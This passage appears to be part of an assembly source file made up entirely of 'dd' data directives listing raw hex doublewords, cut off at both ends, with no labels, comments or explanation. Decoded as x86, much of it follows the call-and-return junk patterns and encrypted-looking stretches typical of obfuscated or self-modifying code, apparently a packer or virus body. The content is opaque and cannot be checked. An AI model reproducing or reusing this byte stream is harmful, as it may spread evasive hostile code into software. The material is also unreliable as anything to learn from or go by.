7218DBDh, 850F0106h, 0ABh, 6AF88B66h, 0BD2B5702h dd 6072C65h, 12E95Fh, 42840000h, 946ECCA5h, 16101E53h dd 8B2923B2h, 0FD58CFC6h, 0E820F90h, 50000000h, 0F616052h dd 0F525031h, 5A585A31h, 52505058h, 11E9h, 0A8BE2900h dd 0C2131F23h, 513FDDB8h, 0C129A97Eh, 310FA47Bh, 585AF88Bh dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0F995FF34h, 6A06071Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0AE24C356h dd 72BC90BBh, 9E9DAh, 15C80000h, 57B3C8F2h, 0E9F5D2FCh dd 0D15h, 0E8h, 0ED815D00h, 60B9BD3h, 152D9D8Bh, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 29536AC3h, 7208995h, 858D5B06h, 60A9108h, 2F80DCBFh dd 489503Bh, 6416B724h, 35FFh, 89640000h, 25h, 0D19D8B00h dd 0FF06072Ch, 732F185h, 12E906h, 0F29A0000h, 0DB564207h dd 724615F4h, 365B376Ch, 0A7153756h, 0BD89FF6Ah, 60731D5h dd 32C5B5FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 72FFA2C3h, 0FC5DECBh, 8Ch, 0C995FF00h dd 0E906071Ah, 105h, 2645BD8Bh, 0B00607h, 0FF18589h, 0C4BF0607h dd 0E6171CF2h, 2971E470h, 71D299Dh, 5D850906h, 3C06071Eh dd 0DA830F61h, 8B000000h, 70D1D9Dh, 0C8B60F06h, 6BAFE8Ah dd 29000000h, 70E458Dh, 0E8C18B06h, 9, 4AA276A7h, 0EFB22AA0h dd 598D8958h, 5F060722h, 0FC04E8C1h, 0F5E2F766h, 890FC82Bh dd 6, 0FCDBD0Bh, 0D18B0607h, 8AF38166h, 0E904h, 858B0000h dd 6072165h, 0AB19D8Bh, 0C0830607h, 0C08307h, 12E951h dd 6FFD0000h, 0D189226Ch, 0A1F224B2h, 5CBCBA7Ah, 854FA703h dd 0FD03B5Fh, 1C83h, 0EF805700h, 4EE95F0Fh, 0F000000h dd 68Dh, 0DBD2B00h, 89060700h, 70E05BDh, 798D8B06h, 6606071Bh dd 838EB6BBh, 840F01E1h, 29h, 0BF0F5160h, 1615BD2h, 72D59BDh dd 79A58306h, 0FE06071Bh, 0F67CBB66h, 21659589h, 95290607h dd 6071049h, 0E9h, 0C3B58D00h, 6A060AFEh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 892BC355h dd 7568608h, 12E852h, 0AC790000h, 1871456Fh, 5E1FB864h dd 109AEBA3h, 2F5EF352h, 8C0Fh, 5F5B0000h, 0FFF9006Ah dd 716B595h, 0EDBD8B06h, 0B906070Fh, 834h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 90C35545h, 0BFCC8477h dd 0DF8B3D44h, 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0EC33C356h, 0F0AE0B70h dd 1BF99D8Bh, 6AFC0607h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0F3FCC352h, 0B86CE9C0h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 72C35343h dd 0BAA5h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0ADAFE9C3h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 7FE5C356h, 20B59D89h, 8E0F0607h dd 19h, 14E9h, 8EA6DC00h, 0AA57A119h, 4B50F8EEh, 2D6C7037h dd 6CBDAC7h, 800FF931h, 0Ch, 68D0Fh, 0B5890000h, 607283Dh dd 0C1DCCB81h, 880D1D4Ch, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1378C353h dd 40719D45h, 9D9D3360h, 0F06071Dh, 28Bh, 615F5300h, 679958Bh dd 0BD8B0607h, 607087Dh, 2CE58D8Bh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0E96F5DC3h dd 0Ah, 0C413C97Ch, 21BBA73h, 8B50073Bh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0D2C35242h, 1F759531h, 9D890607h, 6071AADh dd 10E5BD83h, 0F000607h, 4584h, 0A99D8B00h, 0B8060732h dd 0 dd 27659589h, 20BF0607h, 8D7577C2h, 74E1C8Dh, 0FFDA8A06h dd 50006AE1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 998094C5h, 0FC1860Dh, 0BD83F8B7h, 6072D05h dd 80840F00h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 3FC2C356h, 429DDCECh dd 0F962984h, 582h, 0C9B5BF00h, 858974F1h, 6070EA1h, 2D05BD83h dd 0F010607h, 45984h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 4F5B9EEEh, 14E969h, 30190000h dd 0B2D70B17h, 43089CFAh, 0B0084388h, 66EA4E5Eh, 0BB661195h dd 0BD83E622h, 6072D05h, 0D9860F03h, 60000003h, 3FB86660h dd 8C6661CAh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 963231D7h, 8B5ECBF2h, 717519Dh, 4E18006h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0FEC35242h dd 0AFA342A2h, 8459D8Bh, 0BD8B0607h, 6072595h, 840FC90Ah dd 140h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 20C35242h, 9F6FA6EFh, 0D55AC6DCh, 29858B06h, 0E8060706h dd 11h, 0BDCCC21Fh, 4750FBFh, 7FA7B398h, 0BDE01BD0h, 499D8BEBh dd 5B060726h, 1E758533h, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 949409C3h, 0F8326BF1h dd 0D9B70F04h, 381BB90h, 0E95057D5h, 5, 0ED7281E6h, 9D8B9087h dd 6072BF9h, 8B66006Ah, 4E8D9h, 3FF0000h, 5053001Fh, 10AEBB52h dd 310F61B2h, 505B585Ah, 5E9h, 9B221600h, 448B7958h, 10E90424h dd 0FA000000h, 0F54D3EBh, 0D28A3FB0h, 0C5B89A43h, 8B644986h dd 41BF6600h, 24448961h, 9E904h, 3C20000h, 4E67242Dh, 58B134B1h dd 56CF8166h, 195FF76h, 6A06071Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0DDD7C355h dd 667E7D34h, 0F84FEF81h, 0A6AD8589h, 0BF66060Ah, 9D89F0B4h dd 6070991h, 217E9h, 81E38000h, 8E8h, 0A9A9FE00h, 0FB5BAA12h dd 298D2954h, 5B060708h, 0A6A5858Bh, 8960060Ah, 71DF9BDh dd 9D8B6106h, 6072649h, 1800C7h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 79305BC3h dd 9D5F2549h, 6DBD8B53h, 8B06070Eh, 0AA6A9B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0CA476B64h, 0C21858Bh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 98AAD1C3h, 8B0689A9h dd 29858BFEh, 6A060706h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 19F3C350h, 0BDCFD19Ch dd 8F0F5270h, 2, 4689DF8Bh, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 894B727Fh dd 8D01ED68h, 6070A45h, 6880Fh, 0B5010000h, 6070C59h, 98D0F50h dd 0F000000h, 38Bh, 0D98B6600h, 6A243489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F116C351h dd 0C9C1A7F5h, 8D31972Eh, 6070035h, 121DB589h, 0B5FF0607h dd 60AA6A5h, 16D1BD8Bh, 4E80607h, 0FF000000h, 50001F03h dd 7E8h, 0B931EC00h, 0E61B9B0h, 5B6CB2BBh, 448B5B48h, 66510424h dd 5BEB6FBFh, 8B66008Bh, 244489DAh, 0DF8B6604h, 0AE958h dd 0AB2E0000h, 0C1EE25DEh, 0D7E8DA52h, 0A6AD858Dh, 8A0F060Ah dd 3, 90FB8B66h, 5BFAB752h, 0E8525050h, 14h, 31684D58h dd 0BF74BEDDh, 153A0B7Ch, 1097B82Ch, 0AC3F8269h, 0F5F5F51h dd 52525031h, 66310F5Bh, 5A2A18BFh, 90585A58h, 0FFFB8B66h dd 71D0195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 9D29D182h, 607072Dh, 66FFB70Fh, 0C574D381h dd 93E7BB61h, 85C768B1h, 6072D05h, 3, 0AB20D781h, 0BD8318F9h dd 60AA6ADh, 0D840F00h, 8B000000h, 21E9DFh, 8D090000h dd 6070CD5h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 66C08B00h, 2DFBEF81h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0A7C35747h, 838E52ADh, 72D05BDh, 850F0306h dd 3E1h, 0BD83DE8Bh, 60AA6ADh, 0D2840F00h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 8805C350h, 99BB6665h, 0ADB5FFA1h, 6A060AA6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 1DFC356h, 0E134611Fh, 8B560F8Dh, 70BFD9Dh, 95FF5B06h dd 607043Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0D6C35343h, 862BAC35h, 0A1B58BC7h, 0E8060AA6h dd 0Fh, 0E2CA1E6Dh, 0B1289EFDh, 4FB2CACEh, 5F76D6E6h, 106C7h dd 0B5090001h, 60700DDh, 0D88B6650h, 89243489h, 70B7185h dd 0FB8B6606h, 0A6ADB5FFh, 0E960060Ah, 6, 685D3A03h, 8D2BAF61h dd 607272Dh, 0C1BD3361h, 0FF060731h, 71A5595h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0FCA02CBDh, 0A1B58BF9h, 6A060AA6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B43C350h dd 7138985h, 9858906h, 8906070Dh, 0C486h, 0F9BD8B00h, 8B060715h dd 7067995h, 0C7806006h, 6160577Eh, 0C283615Bh, 89FE8B04h dd 5E82050h, 0E3000000h, 0BCB975A2h, 1F858D5Bh, 6A060ABAh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0D764C357h, 0E3BFC105h, 0B56DAB73h, 0C599D31h dd 0B5890607h, 607253Dh, 0B88689h, 92B70000h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 2086EAC3h, 1699BD8Bh, 0B5FF0607h, 60AA6ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 64C35343h, 53FFC980h dd 3A64E25Bh, 0F294BF66h, 0E45BD29h, 95FF0607h, 6071AF9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h dd 0C2367F9Dh, 7BF05BDh, 1EBDBD89h, 89500607h, 860F2434h dd 6, 0B3FFD781h, 0B5FF155Eh, 60AA6ADh, 68F0Fh, 0BD890000h dd 60714E9h, 152995FFh, 0BD8B0607h, 6071AFDh, 12A5BD83h dd 0F000607h, 2D84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0AF3D4616h, 0FA8B6604h dd 24348950h, 22798D89h, 0B5FF0607h, 60AA6ADh, 0D9BF0F56h dd 5595FF5Fh, 6A060705h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 6620C350h, 8AEB73A3h dd 0BFBB36B6h, 62B77BA9h, 0A6ADB5FFh dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F8D5EC3h, 95FFFFB7h, 6071FF9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CCC35646h, 0DBD8B00h dd 50060714h, 6E9h, 0CFFE00h, 5F54957Bh, 1F1DBD83h, 0F020607h dd 7A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0A59D899Ch, 8B060705h, 706DD85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0E880606Eh, 0C661F5FAh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0AEAC62C3h, 4B415853h, 0F5604636h, 8758D31h, 0C7610607h dd 7269185h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0A777F967h, 12CD9D03h dd 0EB800607h, 0F36AE9D3h, 0FB8BFFFFh, 8B66C18Bh, 85858DD9h dd 90060707h, 0DE8B5650h, 9D8B905Bh, 60707E9h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 6D6719C3h, 0AB59529h, 6A0607h, 51858DF5h, 56060BAAh dd 1AE19D8Bh, 835F0607h, 8E0F05C0h, 6, 252D8D89h, 89500607h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 6A6AB2C3h, 599D0900h, 6A06072Ch, 0F1853100h dd 0FF06070Fh, 704C195h, 0DBD8B06h, 8D060727h, 0AA64F8Dh dd 0BDBD0906h, 0FF060720h, 57006AD1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 8B982CF5h dd 66BDACE7h, 834115BFh, 7218DBDh, 850F0106h, 97h, 2C959D8Bh dd 0BB500607h, 2D754A66h, 6A026A5Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 65DFC355h dd 0A442FD3Eh, 10E9h, 9CCF4A00h, 59D35ECFh, 6D6B1A95h dd 6DE25A75h, 8B665046h, 240489F9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0D3C35343h, 11E99EF7h, 0F1000000h dd 0EB38C293h, 5565E419h, 97D80076h, 0CA9AE530h, 1AF995FFh dd 870F0607h, 0Bh, 8E0F60h, 0F000000h, 0E961CBBFh, 0C44h dd 0E8h, 0ED815D00h, 60BAA5Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 27C35040h, 2059BD33h, 0EB800607h dd 51006A0Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 3886B28Bh, 9108858Dh, 2952060Ah, 7316585h dd 0B7505F06h, 240489AAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 6CC35141h, 0FCC0C0D4h, 0E8CC3D65h, 10h dd 0E7D7A627h, 6BBAE3F8h, 6F31ACDh, 0AD381A9h, 38E0Fh dd 0BF0F0000h, 0FF645FFBh, 35h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 644AD576h dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0B69B70C3h, 0B3F6B8A5h, 32F185FFh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0D03213C3h, 6AFF6A34h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0ADCAC350h dd 0C11B5FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 9D029DC3h, 0BD290AD8h, 60704ADh dd 0DCA97FBBh, 0C995FF67h, 0E906071Ah, 111h, 9D8B00B0h dd 6071D81h, 0B52970E6h, 60702C9h, 0D98B71E4h, 830F613Ch dd 0F5h, 6E8h, 0C0F0B900h, 92EBBCCh, 702E58Dh, 0B60F5B06h dd 6BAC8h, 0BD8B0000h, 607260Dh, 0C18BFA8Bh, 30459D8Bh dd 0E8C10607h, 68C0F04h, 89000000h, 7214D9Dh, 0E2F76606h dd 3820Fh, 0D7800000h, 56C82BE0h, 31559501h, 8B5B0607h dd 6E9D1h, 5E9A0000h, 0B6E4D4B0h, 10E9h, 0D98B6600h, 5E8h dd 0F2835200h, 88B32EB6h, 0F1858B5Bh, 0E9060704h, 9, 4DAE1E69h dd 0E9EAB6Eh, 7C083D3h, 14599D23h, 66510607h, 0E4D0F781h dd 0C0835Fh, 0D03B5BB3h, 16830Fh, 3600000h, 70E59BDh, 0D68B6606h dd 43E961h, 9D8B0000h, 6071CA5h, 2E3D8D8Bh, 8D010607h dd 6072D31h, 83D98B66h, 840F01E1h, 25h, 1009B589h, 0A5830607h dd 6072E3Dh, 816660FEh, 6114F2E0h, 4F19589h, 95890607h dd 607065Dh, 0E9h, 83B58D00h, 81060B08h, 10FBA0CFh, 66006A00h dd 95FFFB8Bh, 60716B5h, 32C78166h, 7EBB901h, 0BD010000h dd 6072229h, 0FFCE183h, 68Bh, 29BD0100h, 0FC06070Eh, 9E9h dd 0BADA3400h, 0F08DC89Ch, 0B8E634h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 3168C357h, 0BADA8Ah, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0AD9CC357h dd 0E8D1C233h, 0E983D003h, 0E9F47504h, 0Bh, 0C4A642B7h dd 203F66E4h, 94057C7h, 727819Dh, 0D8B70F06h, 880Dh, 0C941BF00h dd 958B730Bh, 6070679h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0FBC35545h, 3652E578h, 0E58D8BBFh, 3306072Ch dd 716059Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 25F4C357h, 0A429F21Ch, 8B66F98Bh dd 0E5BD83D8h, 60710h, 3C840Fh, 0DB800000h, 0B821h, 0D3810000h dd 5659EA0Fh, 4E1C8D8Dh, 0D98B0607h, 6AE1FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 3FFB14C3h dd 0A93E792Fh, 0BD838BE9h, 6072D05h, 0A3840F00h, 83000003h dd 72D05BDh, 840F0106h, 3B1h, 0BCBA6660h, 0BD8361E0h, 6072D05h dd 68860F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 68BBC352h, 60820E1Fh dd 57DEBF0Fh, 0E459D8Bh, 665F0607h, 0BB66D98Ch, 0E1804C52h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 671DA23Bh, 1F91BD8Bh, 0C90A0607h, 0F7840Fh dd 0B70F0000h, 4377BFD8h, 858B1563h, 6070629h, 6870Fh dd 0DF810000h, 3EDC8F5Dh, 1E758533h, 8D310607h, 607253Dh dd 52506050h, 310FF28Bh, 800Fh, 585A0000h, 24048961h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 7FC35545h, 41E3D539h dd 0AE9965Ch, 0DA000000h, 13DEF1F1h, 0CBD88493h, 8B006A8Ch dd 728259Dh, 0BEC46806h, 8B664E0Eh, 243481FAh, 4E11BD3Bh dd 6800Fh, 0D7810000h, 6037B248h, 1D0195FFh, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 1D306C3h, 8585898Bh, 89060701h, 70CB59Dh, 0AD858906h dd 0B3060AA6h, 1E5E9EAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 88B510C3h, 0C54B2E35h dd 8992A377h, 72CEDB5h, 0A5858B06h, 6A060AA6h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0CDF9C355h, 0F781EDB0h, 3EF20E58h, 0FE9h, 6C636000h dd 64D570B6h, 28CF16A7h, 50689648h, 1800C7h, 820F0000h dd 6, 2DED8589h, 0B58B0607h, 60AA6A9h, 9D89DF8Bh, 6072015h dd 0C21858Bh, 0BD0B0607h, 60721BDh, 6A0689h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 3285D7C3h dd 4F1D7A82h, 9D8B3A7Bh, 6070451h, 629858Bh, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 5C1381C3h, 8909CDC8h, 0FA8A0446h, 0FE8B6650h, 6A243489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0AE99C356h, 996A3016h, 68E0Fh, 0BD010000h dd 6073249h, 0BE8h, 973BF200h, 43A4C8BDh, 2CCA8884h, 0FF5BC0B7h dd 0AA6A5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 1828FF18h, 87250165h, 6DBD093Dh dd 0F060728h, 0CA68FEB7h, 0BBAF687Bh, 0A0300E6h, 35240481h dd 0F50B688h, 383h, 0DFB70F00h, 0A6AD858Dh, 0E850060Ah dd 0Ch, 5BCFDF69h, 9540912Eh, 0D5553A4Bh, 10800Fh, 0AE80000h dd 5000000h, 0E21A027h, 7FC1AACh, 895B5FFCh, 0BD032404h dd 6072CD9h, 1D0195FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0C77799C3h, 2A58BB66h dd 61B6D780h, 1D71BD8Bh, 85C70607h, 6072D05h, 3, 5F5FB752h dd 0A6ADBD83h, 0F00060Ah, 3284h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 63F6E873h dd 0DB42AAh, 39BD2997h, 0E9060731h, 1Eh, 5003D780h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0BD8BC08Bh dd 607140Dh, 0FB8BFB8Bh, 2D05BD83h, 0F030607h, 41F85h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 2AE580F0h, 0BD83E605h, 60AA6ADh, 0F1840F00h dd 6A000003h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0A0F9C356h, 0DF8B6603h, 0B5FFDE8Bh dd 60AA6ADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 2FC35040h, 0D3FBB850h, 0BD297D24h, 6071049h, 0F88FDF81h dd 95FF5AA6h, 607043Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0A9C35545h, 1E266F1h, 0FD4CF404h, 0A6A1B58Bh dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 8A4109C3h, 3BBB85A4h, 0BB358647h, 6DB0253Fh dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0CC61C7C3h, 0BF0FECEAh, 850F50DAh dd 0Dh, 23BB5250h, 0F267153h, 5AD98B31h, 24348958h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7AC35646h, 0DE9DAh dd 7A690000h, 0E2E81FB2h, 6DC55923h, 0FF39FD1Fh, 0AA6ADB5h dd 7F38006h, 0CCE38166h, 5595FF39h, 0E906071Ah, 0Dh, 0A9FAD22h dd 929B0CE3h, 4D8DFFA3h, 0A1B58B4Bh, 0F060AA6h, 48Ch, 88BF6600h dd 858BF83Eh, 6071389h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 61C35040h, 8994BBA2h, 0C486h, 2D9D8B00h dd 0E906072Eh, 0Ch, 0E1A35C5Ch, 0EC076C22h, 0E60A8844h dd 679958Bh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E8869AC3h, 0Ch, 18B5A0FBh, 373B5268h dd 450039E0h, 5B70C780h, 6A04C283h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0CC3BC353h dd 77146424h, 600F84D8h, 205089F9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0DFC35545h, 9D31D94Eh, 6071451h dd 0BA1F858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 870FB9C3h, 1, 0B88689F9h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 5A07C353h, 8567415Ch, 0B197502h, 707759Dh dd 0DF816606h, 6A4D22h, 0DE9h, 25D68700h, 0F94FEBD6h, 0A66A274Fh dd 0B5FF207Ch, 60AA6ADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 96C35141h, 11EAEB13h, 8BB8C65Ah, 731A19Dh dd 0F9B70F06h, 1AF995FFh, 8B660607h, 525050DFh, 9DBB310Fh dd 5A017457h, 24348958h, 1081BD8Bh, 0B5FF0607h, 60AA6ADh dd 1F659D8Bh, 95FF0607h, 6071529h, 30B99D0Bh, 0BD830607h dd 60712A5h, 2C840F00h, 81000000h, 0BF3EABCFh, 0CBBF966Ch dd 502E2FDFh, 61AC04BFh, 10E9963Bh, 6F000000h, 0EC9613Ah dd 0E1BCF584h, 0F424DC85h, 66B9092Ch, 0FFEEECBFh, 0AA6ADB5h dd 619D8906h, 0FF06070Bh, 7055595h, 0A19D8906h, 0FF060703h dd 0AA6ADB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 69220CDCh, 8A7766ECh, 0C380999Ah dd 0F995FFA3h, 5006071Fh, 5FDF8B66h, 1F1DBD83h, 0F020607h dd 3D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 16ED5B64h, 7E4D3EB5h, 0E49DF9BBh dd 0DD858B2Ah, 0E9060706h, 6, 181D6DE3h, 0C69240h, 85C7FC00h dd 6072691h, 0 dd 0BE960h, 1C720000h, 0B28F4FD1h, 0EAD3E1C2h, 1D8D29C9h dd 61060731h, 0FFF504E9h, 0D9D89FFh, 8B060714h, 56006AC1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 3FA4349Eh, 9D8BFA9Eh, 6070D0Dh, 14E9h, 4966C500h, 6Ch dd 3 dup(0) dd 5A0E900h, 5BBC0000h, 0C0542200h, 21EFBD9Bh, 848E5C3Ah dd 0EA2BF9D7h, 74F89371h, 0CBA9B263h, 644219FDh, 0DE7D96h dd 9E7CDF32h, 7F61E8CCh, 484D321h, 854A8B2Ah, 6F50FCB3h dd 9F634639h, 0C8C6E972h, 7154070Ah, 15F368ADh, 0AB91CA47h dd 0F3229EDh, 661546CBh, 8D84C883h, 0AD67ABCEh, 762C8BAEh dd 1A005BB8h, 0C812B193h, 10F3367Eh, 67253B80h, 0C78EB1AAh dd 0DD8C1C94h, 5538D957h, 0B75E8091h, 0BBA81A4h, 2AB45F2Dh dd 0E3C170EBh, 3A5DFE15h, 53BE20F6h, 70A1E508h, 5201C8EBh dd 0BD6CEF26h, 5B208E9Ah, 990947Fh, 7EC86227h, 0C8EDE5ACh dd 4889654Eh, 8C04EA99h, 0C7942305h, 8265A87Eh, 88D33E0Ch dd 68A96765h, 11C09B76h, 94CAA12Eh, 10F27EC7h, 88F194ABh dd 6D9ADE88h, 0C1000000h, 2B4E0D04h, 0C76B461Eh, 378C6E7Eh dd 81A37331h, 0C76B18FAh, 0AB5A9D7Eh, 8ECD4488h, 12F5A46Bh dd 88B11273h, 179DEh, 4A00000h, 2A284B10h, 583BEDB2h, 0F9E06CA8h dd 0C7AB2204h, 3864A77Eh, 996083D8h, 3922F2B6h, 1B40D216h dd 0EAD199F8h, 9177E430h, 0ABB09219h, 0F2357EC7h, 46CB990Fh dd 0EAAF3715h, 23FDF564h, 0FC61446Ch, 274A1104h, 72A31E3h dd 9F7B4048h, 3907E576h, 259D83D8h, 0C76BBC9Eh, 1BFE417Eh dd 6CA46260h, 2205CCEFh, 86A9B25Eh, 0D340FE9Ah, 0BB9E6588h dd 0E6AF542Bh, 68DE88B7h, 0BCD9DBA3h, 8E71D71Ch, 0B54Dh dd 11047400h, 2DE3274Ah, 6B8E70F7h, 0D0137EC7h, 59BAFE21h dd 1BCA9185h, 